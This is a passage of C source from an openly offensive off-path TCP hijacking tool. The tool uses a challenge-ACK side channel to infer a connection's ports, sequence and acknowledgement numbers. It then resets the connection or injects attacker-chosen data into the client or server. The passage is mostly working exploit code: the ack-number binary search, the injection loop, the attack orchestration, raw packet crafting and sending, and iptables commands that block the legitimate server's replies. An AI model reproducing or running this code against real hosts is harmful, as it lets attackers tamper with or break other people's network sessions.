the step we're in */ 1659 | if (step == 0) { 1660 | /* send 0G, 1G, 2G, and 3G data packets */ 1661 | 1662 | /* set these for printing status */ 1663 | pr_start = g_acks[ai]; 1664 | pr_end = (g_acks[ai] + g_acks[1]) & 0xffffffff; 1665 | 1666 | spoof->ack = g_acks[ai]; 1667 | if (!tcp_send(g_ctx.pch, spoof, TH_ACK, "z", 1)) 1668 | return 0; 1669 | usleep(g_ctx.packet_delay); 1670 | } else if (step == 1) { 1671 | /* select a new mid */ 1672 | bs_mid = (bs_start + bs_end) / 2; 1673 | 1674 | /* set these for printing status */ 1675 | pr_start = bs_mid; 1676 | pr_end = bs_end; 1677 | 1678 | /* send em! */ 1679 | spoof->ack = bs_mid; 1680 | if (!tcp_send(g_ctx.pch, spoof, TH_ACK, "z", 1)) 1681 | return 0; 1682 | usleep(g_ctx.packet_delay); 1683 | if (!tcp_send(g_ctx.pch, spoof, TH_ACK, "z", 1)) 1684 | return 0; 1685 | usleep(g_ctx.packet_delay); 1686 | 1687 | /* we'll do maintenance after we check the results */ 1688 | } 1689 | 1690 | #ifdef DEBUG_ACK_INFER_SPOOF_SEND 1691 | gettimeofday(&now, NULL); 1692 | timersub(&now, &round_start, &diff); 1693 | printf("[*] ack-infer: spoofed one data packet in %lu %lu\n", 1694 | diff.tv_sec, diff.tv_usec); 1695 | #endif 1696 | 1697 | /* send 100 RSTs */ 1698 | if (!send_packets_delay(&g_rst_pkt, 100, 1000)) 1699 | return 0; 1700 | 1701 | /* get the number of challenge ACKs within this second */ 1702 | wait_until("ack-infer recv", &round_start, 1, 0); 1703 | 1704 | if (step == 0) 1705 | printf("[*] ack-infer (1): guessed acks [%08lx - %08lx]: %3d challenge ACKs\n", 1706 | pr_start, (pr_end - 1) & 0xffffffff, g_chack_cnt); 1707 | else if (step == 1) 1708 | printf("[*] ack-infer (2): guessed acks [%08lx - %08lx]: %lu possibilities, %3d challenge ACKs\n", 1709 | pr_start, pr_end - 1, (pr_end - pr_start), g_chack_cnt); 1710 | 1711 | /* adjust the search based on the results and mode */ 1712 | if (step == 0) { 1713 | /* just record the number of challenge ACKs received */ 1714 | g_chacks[ai] = g_chack_cnt; 1715 | ai++; 1716 | 1717 | /* if we finished, proceed to the next step */ 1718 | if (ai == sizeof(g_acks) / sizeof(g_acks[0])) { 1719 | int i; 1720 | u_long ack_start = 31337; 1721 | 1722 | /* we'll focus on the first G followed by a 99 chacks */ 1723 | for (i = 1; i < 4; i++) { 1724 | if (g_chacks[i-1] == 100 && g_chacks[i] == 99) { 1725 | ack_start = g_acks[i-1]; 1726 | break; 1727 | } 1728 | } 1729 | /* if this is the pathological case, work backwards */ 1730 | if (ack_start == 31337 && g_chacks[0] == 99) { 1731 | for (i = 3; i > 0; i--) { 1732 | if (g_chacks[i] == 100) { 1733 | ack_start = g_acks[i]; 1734 | break; 1735 | } 1736 | } 1737 | } 1738 | if (ack_start == 31337) { 1739 | fprintf(stderr, "[!] No left-most ACK window?!\n"); 1740 | return 0; 1741 | } 1742 | 1743 | /* divide and conquer! */ 1744 | bs_start = ack_start; 1745 | bs_end = ack_start + g_acks[1]; 1746 | printf("[*] Binary searching %lu - %lu (%lu possibilities)\n", 1747 | bs_start, bs_end, g_acks[1]); 1748 | step = 1; 1749 | } 1750 | } else if (step == 1) { 1751 | /* figure out which chunk exactly! */ 1752 | if (g_chack_cnt == 98) { 1753 | if (bs_start >= bs_end) { 1754 | /* FAIL! */ 1755 | printf("[!] Exhausted ack window binary search...\n"); 1756 | /* go back to the beginning of the schedule?? */ 1757 | return 0; 1758 | } else 1759 | /* adjust range */ 1760 | bs_end = bs_mid; 1761 | } else if (g_chack_cnt == 100) { 1762 | /* if our window is 1, we win! */ 1763 | if (bs_mid == bs_end - 1) 1764 | found = 1; 1765 | else 1766 | /* adjust range */ 1767 | bs_start = bs_mid; 1768 | } else if (g_chack_cnt == 99) { 1769 | /* this could mean we found the boundary, or maybe packet loss */ 1770 | if (last_chack_cnt == 99) { 1771 | bs_mid--; 1772 | found = 1; 1773 | } 1774 | else 1775 | fprintf(stderr, "[!] suspicious challenge ACK count! retrying...\n"); 1776 | } else { 1777 | fprintf(stderr, "[!] invalid challenge ACK count! retrying range...\n"); 1778 | } 1779 | 1780 | if (found) { 1781 | uint32_t ack = bs_mid; 1782 | 1783 | /* we found it! continue on to attempt injection */ 1784 | ack -= (g_acks[2] - 1); 1785 | gettimeofday(&now, NULL); 1786 | timersub(&now, &infer_start, &diff); 1787 | printf("[*] Determined approx. ACK value (1): %lu, from %lu (after %lu %lu)\n", 1788 | (u_long)ack, bs_mid, diff.tv_sec, diff.tv_usec); 1789 | spoof->ack = ack; 1790 | g_chack_cnt = 0; 1791 | return 1; 1792 | } 1793 | } 1794 | 1795 | // XXX: TODO: scale number of guesses per round based on feedback 1796 | last_chack_cnt = g_chack_cnt; 1797 | g_chack_cnt = 0; 1798 | } 1799 | 1800 | /* fail! */ 1801 | return 0; 1802 | } 1803 | 1804 | 1805 | /* 1806 | * if needed, inject data into the connection 1807 | * 1808 | * inject data into a connection by trying various offsets of the guessed 1809 | * seq/ack numbers 1810 | */ 1811 | int inject_the_data(void) 1812 | { 1813 | struct timeval inject_start, round_start, now, diff; 1814 | volatile conn_t *spoof = &(g_ctx.spoof); 1815 | conn_t reversed; 1816 | 1817 | /* feign success if we have nothing to inject */ 1818 | if (!g_ctx.inject_server && !g_ctx.inject_client) 1819 | return 1; 1820 | 1821 | if (g_ctx.inject_client) { 1822 | /* swap the src/dst and seq/ack to send to the client */ 1823 | reversed.src = spoof->dst; 1824 | reversed.dst = spoof->src; 1825 | reversed.seq = spoof->ack; 1826 | reversed.ack = spoof->seq; 1827 | } 1828 | /* the seq/ack are maintained separately for client and server */ 1829 | 1830 | gettimeofday(&inject_start, NULL); 1831 | 1832 | while (1) { 1833 | char *buf; 1834 | off_t len; 1835 | 1836 | gettimeofday(&round_start, NULL); 1837 | 1838 | if (g_ctx.inject_server) { 1839 | int i; 1840 | uint32_t seq_tmp; 1841 | 1842 | buf = g_ctx.inject_server; 1843 | len = g_ctx.inject_server_len; 1844 | 1845 | printf("[*] Injecting %lu bytes into the server!\n", len); 1846 | 1847 | seq_tmp = spoof->seq; 1848 | for (i = 1000; i > -1000; i--) { 1849 | spoof->seq = seq_tmp + i; 1850 | if (!tcp_send(g_ctx.pch, spoof, TH_PUSH|TH_ACK, buf, len)) 1851 | return 0; 1852 | usleep(g_ctx.packet_delay); 1853 | } 1854 | spoof->seq = seq_tmp + len; 1855 | } 1856 | 1857 | if (g_ctx.inject_client) { 1858 | int i; 1859 | uint32_t seq_tmp; 1860 | 1861 | buf = g_ctx.inject_client; 1862 | len = g_ctx.inject_client_len; 1863 | 1864 | printf("[*] Injecting %lu bytes into the client!\n", len); 1865 | 1866 | seq_tmp = reversed.seq; 1867 | for (i = 1000; i > -1000; i--) { 1868 | reversed.seq = seq_tmp + i; 1869 | if (!tcp_send(g_ctx.pch, &reversed, TH_PUSH|TH_ACK, buf, len)) 1870 | return 0; 1871 | usleep(g_ctx.packet_delay); 1872 | } 1873 | reversed.seq = seq_tmp + len; 1874 | } 1875 | 1876 | gettimeofday(&now, NULL); 1877 | timersub(&now, &inject_start, &diff); 1878 | if (diff.tv_sec > 30) 1879 | break; 1880 | 1881 | wait_until("data-inject", &round_start, 2, 0); 1882 | } 1883 | return 1; 1884 | } 1885 | 1886 | 1887 | /* 1888 | * conduct the attack: 1889 | * 1. synchronize with remote clock 1890 | * 2. infer four-tuple 1891 | * 3. infer sequence number 1892 | * 4. infer ack number 1893 | * 5. reset/hijack 1894 | * 6. profit? 1895 | * 1896 | */ 1897 | int conduct_offpath_attack(void) 1898 | { 1899 | pthread_t rth; 1900 | struct timeval attack_start, attack_end, diff; 1901 | 1902 | /* generate the packet we'll send over and over to elicit challenge ACKs */ 1903 | if (!prepare_rst_packet(&g_rst_pkt)) 1904 | return 0; 1905 | 1906 | /* spawn the recv thread. it will live throughout the attack process... */ 1907 | if (pthread_create(&rth, NULL, recv_thread, NULL)) { 1908 | fprintf(stderr, "[!] failed to start recv thread!\n"); 1909 | return 0; 1910 | } 1911 | 1912 | g_ctx.attacking = 1; 1913 | 1914 | gettimeofday(&attack_start, NULL); 1915 | 1916 | /* synchronize our processing with the remote host's clock */ 1917 | if (!sync_time_with_remote()) 1918 | return 0; 1919 | 1920 | /* figure out the target connection's source port number */ 1921 | if (!infer_four_tuple()) 1922 | return 0; 1923 | 1924 | /* figure out the target connection's sequence number and reset the 1925 | * connection if injection was not requested */ 1926 | if (!infer_sequence_number()) 1927 | return 0; 1928 | 1929 | /* if injection was requested, determine the seq/ack and do the deed */ 1930 | if (g_ctx.inject_server || g_ctx.inject_client) { 1931 | u_long guess_start, guess_end; 1932 | u_long tmp; 1933 | 1934 | /* figure out the target connection's ack value */ 1935 | if (!infer_ack_number()) 1936 | return 0; 1937 | 1938 | /* finish determining the sequence number */ 1939 | guess_start = g_ctx.spoof.seq - g_ctx.winsz; 1940 | guess_end = g_ctx.spoof.seq + g_ctx.winsz; 1941 | 1942 | if (!infer_sequence_step3_ack(&guess_start, &guess_end)) 1943 | return 0; 1944 | 1945 | /* inject data as requested */ 1946 | if (!inject_the_data()) 1947 | return 0; 1948 | } 1949 | 1950 | g_ctx.attacking = 0; 1951 | if (pthread_join(rth, NULL)) 1952 | fprintf(stderr, "[!] pthread_join had an error!\n"); 1953 | 1954 | gettimeofday(&attack_end, NULL); 1955 | timersub(&attack_end, &attack_start, &diff); 1956 | printf("[*] Attack took %lu %lu seconds\n", diff.tv_sec, diff.tv_usec); 1957 | 1958 | return 1; 1959 | } 1960 | 1961 | 1962 | /* 1963 | * block traffic from the legit server so we can handle it ourselves 1964 | */ 1965 | int block_traffic(void) 1966 | { 1967 | char cmd[128]; 1968 | int ret; 1969 | volatile struct sockaddr_in *psrv = &(g_ctx.legit.dst); 1970 | 1971 | /* first see if it is already blocked */ 1972 | printf("[*] Checking for existing iptables rule..."); 1973 | fflush(stdout); 1974 | sprintf(cmd, "iptables -C INPUT -j DROP -p tcp -s %s --sport %u > /dev/null 2>&1", 1975 | inet_ntoa(psrv->sin_addr), ntohs(psrv->sin_port)); 1976 | ret = system(cmd); 1977 | if (ret == 0) { 1978 | /* already blocking! */ 1979 | printf("already blocked!\n"); 1980 | return 1; 1981 | } 1982 | if (ret != 256) { 1983 | printf("ERROR\n"); 1984 | if (ret == -1) 1985 | perror("[!] system(\"iptables -C\"... failed"); 1986 | else 1987 | fprintf(stderr, "[!] system(\"iptables -C\"... failed: ret: %d\n", ret); 1988 | return 0; 1989 | } 1990 | 1991 | /* okay, try to add the rule */ 1992 | printf("nope, adding..."); 1993 | fflush(stdout); 1994 | cmd[10] = 'I'; 1995 | ret = system(cmd); 1996 | if (ret != 0) { 1997 | printf("ERROR\n"); 1998 | if (ret == -1) 1999 | perror("[!] system(\"iptables -I\"... failed"); 2000 | else 2001 | fprintf(stderr, "[!] system(\"iptables -I\"... failed: ret: %d\n", ret); 2002 | return 0; 2003 | } 2004 | printf("now blocked!\n"); 2005 | return 1; 2006 | } 2007 | 2008 | /* 2009 | * remove traffic block traffic! 2010 | */ 2011 | int unblock_traffic(void) 2012 | { 2013 | char cmd[128]; 2014 | int ret; 2015 | volatile struct sockaddr_in *psrv = &(g_ctx.legit.dst); 2016 | 2017 | sprintf(cmd, "iptables -D INPUT -j DROP -p tcp -s %s --sport %u > /dev/null 2>&1", 2018 | inet_ntoa(psrv->sin_addr), ntohs(psrv->sin_port)); 2019 | ret = system(cmd); 2020 | if (ret == 0) { 2021 | printf("[*] Un-blocked traffic from legit server\n"); 2022 | return 1; 2023 | } 2024 | 2025 | if (ret == -1) 2026 | perror("[!] system(\"iptables -D\"... failed"); 2027 | else 2028 | fprintf(stderr, "[!] system(\"iptables -D\"... failed: ret: %d\n", ret); 2029 | return 0; 2030 | } 2031 | 2032 | 2033 | /* 2034 | * this function sets up the attack. 2035 | * 2036 | * it starts by opening a raw socket and starting to capture packets for the 2037 | * legit connection. 2038 | * 2039 | * next, we execute a three-way handshake to get connected. 2040 | * 2041 | * finally, we loop for packets that we captured and do maintenance on the TCP 2042 | * session as needed. 2043 | * 2044 | * special keys while in the data loop: 2045 | * control-U erase to beginning of line 2046 | * control-[ (Esc) closes connection and exits 2047 | * "start\n" launches the offpath attack (after connected) 2048 | */ 2049 | int set_up_attack(void) 2050 | { 2051 | uint16_t lport = rand() & 0xffff; 2052 | pcap_t *pch = NULL; 2053 | struct pcap_pkthdr *pchdr = NULL; 2054 | const u_char *inbuf = NULL; 2055 | int pcret; 2056 | char outbuf[8192]; 2057 | int outlen = 0; 2058 | volatile conn_t *pconn; 2059 | int ipoff; 2060 | 2061 | printf("[*] Selected local port: %u\n", lport); 2062 | 2063 | pconn = &g_ctx.legit; 2064 | if (!start_pcap(&pch, &(pconn->dst), lport, &ipoff)) { 2065 | pcap_perror(pch, "[!] Unable to start packet capture"); 2066 | return 1; 2067 | } 2068 | g_ctx.pch = pch; 2069 | g_ctx.ipoff = ipoff; 2070 | 2071 | /* if we have both a seq and a client port, just send a packet */ 2072 | if (g_ctx.spoof.src.sin_port && g_ctx.spoof.seq) { 2073 | if (g_ctx.spoof.ack) { 2074 | if (!inject_the_data()) 2075 | return 0; 2076 | } else { 2077 | if (!tcp_send(g_ctx.pch, &(g_ctx.spoof), TH_RST, NULL, 0)) 2078 | return 0; 2079 | } 2080 | /* exit the program here */ 2081 | return 0; 2082 | } 2083 | 2084 | /* drop packets from the legit host so the kernel won't respond on our 2085 | * behalf */ 2086 | if (!block_traffic()) 2087 | return 0; 2088 | 2089 | /* set the local port */ 2090 | pconn->src.sin_port = htons(lport); 2091 | 2092 | /* initialize the parts of the spoofed connection we know.. */ 2093 | tcp_init(&g_ctx.spoof, 0); 2094 | 2095 | /* make a legit connection to the server */ 2096 | tcp_init(pconn, rand()); 2097 | if (!tcp_send(pch, pconn, TH_SYN, NULL, 0)) 2098 | return 1; 2099 | pconn->state = CS_SYN_SENT; 2100 | 2101 | while (pconn->state != CS_FINISHED) { 2102 | pcret = pcap_next_ex(pch, &pchdr, &inbuf); 2103 | if (pcret == 1) { 2104 | u_char flags; 2105 | uint32_t rack, rseq; 2106 | void *data; 2107 | size_t datalen; 2108 | 2109 | if (tcp_recv(pchdr, inbuf, &flags, &rack, &rseq, &data, &datalen)) { 2110 | switch (pconn->state) { 2111 | 2112 | case CS_SYN_SENT: 2113 | /* see if we got a SYN|ACK */ 2114 | if ((flags & TH_SYN) && (flags & TH_ACK) 2115 | && rack == pconn->seq + 1) { 2116 | /* we need to ACK the seq */ 2117 | pconn->seq = rack; 2118 | pconn->ack = rseq + 1; 2119 | if (!tcp_send(pch, pconn, TH_ACK, NULL, 0)) 2120 | return 1; 2121 | pconn->state = CS_CONNECTED; 2122 | 2123 | printf("[*] TCP handshake complete! Entering interactive session...\n"); 2124 | setterm(0); 2125 | 2126 | if (g_ctx.autostart) { 2127 | usleep(500000); 2128 | printf("[*] Commencing attack...\n"); 2129 | if (!conduct_offpath_attack()) 2130 | return 1; 2131 | } 2132 | } 2133 | break; 2134 | 2135 | case CS_CONNECTED: 2136 | if ((flags & TH_PUSH) && (flags & TH_ACK) 2137 | && rack == pconn->seq) { 2138 | //printf("[*] PSH|ACK received (len %lu)\n", datalen); 2139 | } 2140 | 2141 | /* they just ACK'd what we sent only... */ 2142 | else if (flags == TH_ACK && rack == pconn->seq) { 2143 | //printf("[*] ACK received (len %lu)\n", datalen); 2144 | } 2145 | 2146 | /* perhaps the remote said to shut down... */ 2147 | else if (flags & TH_FIN) { 2148 | printf("[*] FIN received\n"); 2149 | pconn->ack++; 2150 | if (!tcp_send(pch, pconn, TH_ACK, NULL, 0)) 2151 | return 1; 2152 | if (!tcp_send(pch, pconn, TH_FIN, NULL, 0)) 2153 | return 1; 2154 | pconn->state++; 2155 | } 2156 | 2157 | else if (flags & TH_RST) { 2158 | if (rseq == pconn->ack) { 2159 | printf("[*] RST received\n"); 2160 | pconn->state++; 2161 | } 2162 | /* otherwise, drop the RST */ 2163 | } 2164 | 2165 | else 2166 | printf("[*] Packet with unexpected flags (0x%x) received...\n", 2167 | flags); 2168 | 2169 | /* see if we got data from remote... */ 2170 | if (datalen > 0) { 2171 | ssize_t nw; 2172 | 2173 | nw = write(fileno(stdout), data, datalen); 2174 | if (nw < 0) 2175 | perror("[!] write to stdout failed"); 2176 | else if (datalen != (size_t)nw) { 2177 | fprintf(stderr, "[!] short write!\n"); 2178 | } 2179 | pconn->ack += datalen; 2180 | if (!tcp_send(pch, pconn, TH_ACK, NULL, 0)) 2181 | return 1; 2182 | } 2183 | 2184 | break; 2185 | 2186 | default: 2187 | printf("unknown state??\n"); 2188 | break; 2189 | } 2190 | } 2191 | } 2192 | 2193 | /* packet read failure? */ 2194 | if (pcret < 0) 2195 | break; 2196 | 2197 | /* check for keyboard input */ 2198 | while (pconn->state != CS_FINISHED && kbhit() == 1) { 2199 | int ch = getchar(); 2200 | 2201 | switch (ch) 2202 | { 2203 | case 0xa: // LF 2204 | case 0xd: // CR 2205 | outbuf[outlen++] = '\n'; 2206 | 2207 | /* start the attack now! */ 2208 | if (strncmp(outbuf, "start\n", 6) == 0) { 2209 | if (!conduct_offpath_attack()) 2210 | return 1; 2211 | } else { 2212 | if (!tcp_send(pch, pconn, TH_PUSH|TH_ACK, outbuf, outlen)) 2213 | return 1; 2214 | pconn->seq += outlen; 2215 | } 2216 | outlen = 0; 2217 | break; 2218 | 2219 | case 0x15: // ^U (NAK) 2220 | { 2221 | ssize_t nw; 2222 | static const char *clearline = "\r\033[K"; 2223 | 2224 | nw = write(fileno(stdout), clearline, sizeof(clearline) - 1); 2225 | if (nw < 0) 2226 | perror("[!] write to stdout failed"); 2227 | else if (nw != sizeof(clearline) - 1) { 2228 | fprintf(stderr, "[!] short write!\n"); 2229 | } 2230 | } 2231 | outlen = 0; 2232 | break; 2233 | 2234 | case 0x1b: // ^[ (ESC) 2235 | printf("[*] Connection closed.\n"); 2236 | if (!tcp_send(pch, pconn, TH_FIN, NULL, 0)) 2237 | return 1; 2238 | pconn->seq++; 2239 | sleep(1); 2240 | if (!tcp_send(pch, pconn, TH_ACK, NULL, 0)) 2241 | return 1; 2242 | pconn->state = CS_FINISHED; 2243 | break; 2244 | 2245 | default: 2246 | outbuf[outlen++] = ch; 2247 | break; 2248 | } 2249 | } 2250 | } 2251 | 2252 | setterm(1); 2253 | pcap_close(pch); 2254 | return 0; 2255 | } 2256 | 2257 | 2258 | /* 2259 | * initialize a connection structure from the parameters 2260 | */ 2261 | void tcp_init(volatile conn_t *pconn, uint32_t seq) 2262 | { 2263 | pconn->id = rand() % 0xffff; 2264 | pconn->state = CS_NEW; 2265 | if (!pconn->seq) 2266 | pconn->seq = seq; 2267 | } 2268 | 2269 | 2270 | /* 2271 | * ripped from ping.c, it calulates the checksum of len bytes at addr and 2272 | * returns it. 2273 | */ 2274 | uint16_t in_cksum(uint16_t *addr, size_t len) 2275 | { 2276 | register int nleft = len; 2277 | register uint16_t *w = addr; 2278 | register int sum = 0; 2279 | uint16_t answer = 0; 2280 | 2281 | while (nleft > 1) { 2282 | sum += *w++; 2283 | nleft -= 2; 2284 | } 2285 | 2286 | if (nleft == 1) { 2287 | *(u_char *)(&answer) = *(u_char *)w; 2288 | sum += answer; 2289 | } 2290 | 2291 | sum = (sum >> 16) + (sum & 0xffff); 2292 | sum += (sum >> 16); 2293 | answer = ~sum; 2294 | return answer; 2295 | } 2296 | /* end ping ripped */ 2297 | 2298 | 2299 | /* 2300 | * craft a TCP packet based on the given parameters 2301 | * 2302 | * this is based on Matt Barrie's old non-working TCPseqnumpred.c 2303 | * the problem with that program was not this function however.. 2304 | */ 2305 | int tcp_craft(void *output, size_t *outlen, volatile conn_t *pconn, u_char flags, char *data, size_t len) 2306 | { 2307 | struct ip ip; 2308 | struct tcphdr tcp; 2309 | char tcpbuf[4096], *ptr; 2310 | uint16_t size; 2311 | 2312 | /* buffer too small? */ 2313 | if (*outlen < sizeof(ip) + sizeof(tcp) + len) { 2314 | fprintf(stderr, "tcp_craft: buffer too small!!\n"); 2315 | return 0; 2316 | } 2317 | 2318 | /* construct the IP header */ 2319 | ip.ip_hl = sizeof(ip) / 4; 2320 | ip.ip_v = 4; 2321 | ip.ip_tos = 0; 2322 | ip.ip_len = htons(sizeof(ip) + sizeof(tcp) + len); 2323 | ip.ip_id = htons(pconn->id); 2324 | pconn->id++; 2325 | ip.ip_off = 0; 2326 | ip.ip_ttl = 255; 2327 | ip.ip_p = IPPROTO_TCP; 2328 | ip.ip_sum = 0; 2329 | ip.ip_src.s_addr = pconn->src.sin_addr.s_addr; 2330 | ip.ip_dst.s_addr = pconn->dst.sin_addr.s_addr; 2331 | 2332 | /* calculate the IP checksum */ 2333 | ip.ip_sum = in_cksum((uint16_t *)&ip, sizeof(ip)); 2334 | 2335 | /* construct the TCP header */ 2336 | tcp.th_sport = pconn->src.sin_port; 2337 | tcp.th_dport = pconn->dst.sin_port; 2338 | tcp.th_seq = htonl(pconn->seq); 2339 | tcp.th_ack = htonl(pconn->ack); 2340 | tcp.th_x2 = 0; 2341 | tcp.th_off = 5; 2342 | tcp.th_flags = flags; 2343 | tcp.th_win = htons(10052); 2344 | tcp.th_sum = 0; 2345 | tcp.th_urp = 0; 2346 | 2347 | /* calculate the TCP checksum */ 2348 | ptr = tcpbuf; 2349 | memset(tcpbuf, 0, sizeof(tcpbuf)); 2350 | memcpy(ptr, &(ip.ip_src.s_addr), 8); 2351 | ptr += 9; 2352 | *ptr++ = ip.ip_p; 2353 | size = htons(len + sizeof(tcp)); 2354 | memcpy(ptr, &size, 2); 2355 | ptr += 2; 2356 | memcpy(ptr, &tcp, sizeof(tcp)); 2357 | ptr += sizeof(tcp); 2358 | memcpy(ptr, data, len); 2359 | tcp.th_sum = in_cksum((uint16_t *)tcpbuf, sizeof(tcp) + 12 + len); 2360 | 2361 | /* build the final packet */ 2362 | ptr = output; 2363 | memcpy(ptr, &ip, sizeof(ip)); 2364 | ptr += sizeof(ip); 2365 | memcpy(ptr, &tcp, sizeof(tcp)); 2366 | ptr += sizeof(tcp); 2367 | memcpy(ptr, data, len); 2368 | 2369 | *outlen = ((void *)ptr - output) + len; 2370 | 2371 | #ifdef DEBUG_SEQ_OUT 2372 | { 2373 | char shost[32], dhost[32]; 2374 | 2375 | strcpy(shost, inet_ntoa(pconn->src.sin_addr)); 2376 | strcpy(dhost, inet_ntoa(pconn->dst.sin_addr)); 2377 | printf("[*] %s : %s:%d --> %s:%d : %s : seq %lu, ack %lu (len %lu)\n", 2378 | g_conn_states[pconn->state], 2379 | shost, ntohs(tcp.th_sport), 2380 | dhost, ntohs(tcp.th_dport), 2381 | tcp_flags(tcp.th_flags), (u_long)pconn->seq, 2382 | (u_long)pconn->ack, (u_long)len); 2383 | } 2384 | #endif 2385 | 2386 | return 1; 2387 | } 2388 | 2389 | 2390 | /* 2391 | * craft and send a packet using libpcap 2392 | */ 2393 | int tcp_send(pcap_t *pch, volatile conn_t *pconn, u_char flags, char *data, size_t len) 2394 | { 2395 | char packet[8192]; 2396 | size_t pktlen = sizeof(packet) - g_ctx.ipoff; 2397 | 2398 | memcpy(packet, ROUTER_MAC LOCAL_MAC "\x08\x00", g_ctx.ipoff); 2399 | if (!tcp_craft(packet + g_ctx.ipoff, &pktlen, pconn, flags, data, len)) 2400 | return 0; 2401 | pktlen += g_ctx.ipoff; 2402 | 2403 | if (pcap_sendpacket(pch, (void *)packet, pktlen) == -1) { 2404 | fprintf(stderr, "[!] pcap_sendpacket failed!\n"); 2405 | return 0; 2406 | } 2407 | 2408 | /* success!! */ 2409 | return 1; 2410 | } 2411 | 2412 | 2413 | /* 2414 | * process the packet captured by libpcap. if everything goes well, we return 2415 | * the TCP flags, ack, seq, and data (w/len) to the caller. 2416 | */ 2417 | int tcp_recv(struct pcap_pkthdr *pph, const void *inbuf, u_char *flags, uint32_t *pack, uint32_t *pseq, void **pdata, size_t *plen) 2418 | { 2419 | struct ip *pip; 2420 | struct tcphdr *ptcp; 2421 | void *ptr; 2422 | size_t iplen, tcplen, datalen; 2423 | 2424 | if (pph->caplen < g_ctx.ipoff + sizeof(struct ip)) { 2425 | fprintf(stderr, "[!] tcp_recv: too short to be an IP packet!\n"); 2426 | return 0; 2427 | } 2428 | ptr = (void *)inbuf + g_ctx.ipoff; 2429 | pip = (struct ip *)ptr; 2430 | iplen = pip->ip_hl * 4; 2431 | if (pph->caplen < g_ctx.ipoff + iplen) { 2432 | fprintf(stderr, "[!] tcp_recv: too short to be an IP packet (w/options)!\n"); 2433 | return 0; 2434 | } 2435 | ptr += iplen; 2436 | if (pph->caplen < g_ctx.ipoff + iplen + sizeof(struct tcphdr)) { 2437 | fprintf(stderr, "[!] tcp_recv: too short to be a TCP packet!\n"); 2438 | return 0; 2439 | } 2440 | ptcp = (struct tcphdr *)ptr; 2441 | if (!g_ctx.winsz) { 2442 | g_ctx.winsz = ntohs(ptcp->th_win); 2443 | printf("[*] TCP Window size: %u\n", g_ctx.winsz); 2444 | } 2445 | tcplen = ptcp->th_off * 4; 2446 | ptr += tcplen; 2447 | if (pph->caplen < g_ctx.ipoff + iplen + tcplen) { 2448 | fprintf(stderr, "[!] tcp_recv: too short to be a TCP packet (w/options)!\n"); 2449 | return 0; 2450 | } 2451 | datalen = ntohs(pip->ip_len); 2452 | if (iplen + tcplen > datalen) { 2453 | fprintf(stderr, "[!] tcp_recv: IP.IP_LEN too small!\n"); 2454 | return 0; 2455 | } 2456 | datalen -= (iplen + tcplen); 2457 | 2458 | #ifdef DEBUG_SEQ_IN 2459 | { 2460 | char shost[32], dhost[32]; 2461 | 2462 | strcpy(shost, inet_ntoa(pip->ip_src)); 2463 | strcpy(dhost, inet_ntoa(pip->ip_dst)); 2464 | /* 2465 | printf("inbuf %p, ptcp %p, ptctp+1 %p, caplen %lu\n", inbuf, ptcp, 2466 | ptcp+1, (uint32_t)pph->caplen); 2467 | */ 2468 | printf("[*] %s : %s:%d <-- %s:%d : %s : seq %lu, ack %lu (len %lu)\n", 2469 | g_conn_states[g_ctx.legit.state], 2470 | dhost, ntohs(ptcp->th_dport), 2471 | shost, ntohs(ptcp->th_sport), 2472 | tcp_flags(ptcp->th_flags), 2473 | (u_long)ntohl(ptcp->th_seq), (u_long)ntohl(ptcp->th_ack), 2474 | datalen); 2475 | } 2476 | #endif 2477 | 2478 | 2479 | /* save the output parameters and return */ 2480 | if (flags) 2481 | *flags = ptcp->th_flags; 2482 | if (pack) 2483 | *pack = ntohl((uint32_t)ptcp->th_ack); 2484 | if (pseq) 2485 | *pseq = ntohl((uint32_t)ptcp->th_seq); 2486 | if (pdata) { 2487 | if (datalen > 0) 2488 | *pdata = ptr; 2489 | else 2490 | *pdata = NULL; 2491 | } 2492 | if (plen) 2493 | *plen = datalen; 2494 | 2495 | return 1; 2496 | } 2497 | 2498 | 2499 | #if defined(DEBUG_SEQ_IN) || defined(DEBUG_SEQ_OUT) 2500 | /* 2501 | * return a string showing which flags are set in the TCP packet 2502 | * 2503 | * netinet/tcp.h:# define TH_FIN 0x01 2504 | * netinet/tcp.h:# define TH_SYN 0x02 2505 | * netinet/tcp.h:# define TH_RST 0x04 2506 | * netinet/tcp.h:# define TH_PUSH 0x08 2507 | * netinet/tcp.h:# define TH_ACK 0x10 2508 | * netinet/tcp.h:# define TH_URG 0x20 2509 | */ 2510 | char *tcp_flags(u_char flags) 2511 | { 2512 | static char str[16]; 2513 | char *ptr = str; 2514 | 2515 | if (flags & TH_FIN) 2516 | *ptr++ = 'F'; 2517 | if (flags & TH_SYN) 2518 | *ptr++ = 'S'; 2519 | if (flags & TH_RST) 2520 | *ptr++ = 'R'; 2521 | if (flags & TH_PUSH) 2522 | *ptr++ = 'P'; 2523 | if (flags & TH_ACK) 2524 | *ptr++ = 'A'; 2525 | if (flags & TH_URG) 2526 | *ptr++ = 'U'; 2527 | *ptr++ = '\0'; 2528 | return str; 2529 | } 2530 | #endif 2531 | 2532 | 2533 | /* 2534 | * prym wrote this stuff for me a long time ago, i thank him for it.. 2535 | * i modded it to make it portable (i hope) 2536 | * 2537 | * this function will set the terminal to ICANON (canonical mode). this 2538 | * disables line buffering processing special characters (such as EOF, EOL, 2539 | * WERASE etc). 2540 | */ 2541 | void setterm(int mode) 2542 | { 2543 | static struct termios tmp, old; 2544 | static int old_set = 0; 2545 | 2546 | if (mode == 0) { 2547 | tcgetattr(fileno(stdin), &tmp); 2548 | memcpy(&old, &tmp, sizeof(struct termios)); 2549 | tmp.c_lflag &= ~ICANON; 2550 | tcsetattr(fileno(stdin), TCSANOW, &tmp); 2551 | old_set = 1; 2552 | } else if (old_set) { 2553 | tcsetattr(fileno(stdin), TCSANOW, &old); 2554 | } 2555 | } 2556 | 2557 | /* 2558 | * this function select(2)s stdin and returns 1 if there are characters in the 2559 | * input buffer within the alotted time. 2560 | * otherwise it returns 0 (what select(2) returns) 2561 | */ 2562 | int kbhit(void) 2563 | { 2564 | fd_set rfds; 2565 | struct timeval tv; 2566 | 2567 | FD_ZERO(&rfds); 2568 | FD_SET(fileno(stdin), &rfds); 2569 | tv.tv_sec = 0; 2570 | tv.tv_usec = 25000; 2571 | 2572 | return select(fileno(stdin) + 1, &rfds, NULL, NULL, &tv); 2573 | } 2574 | /* thanks again prym */ 2575 | 2576 | 2577 | /* 2578 | * load all the data from the specified file into a heap buffer 2579 | */ 2580 | char *slurp(char *file, off_t *plen) 2581 | { 2582 | struct stat sb; 2583 | int fd; 2584 | char *pbuf; 2585 | ssize_t nr; 2586 | 2587 | if (stat(file, &sb) == -1) { 2588 | perror("[!] 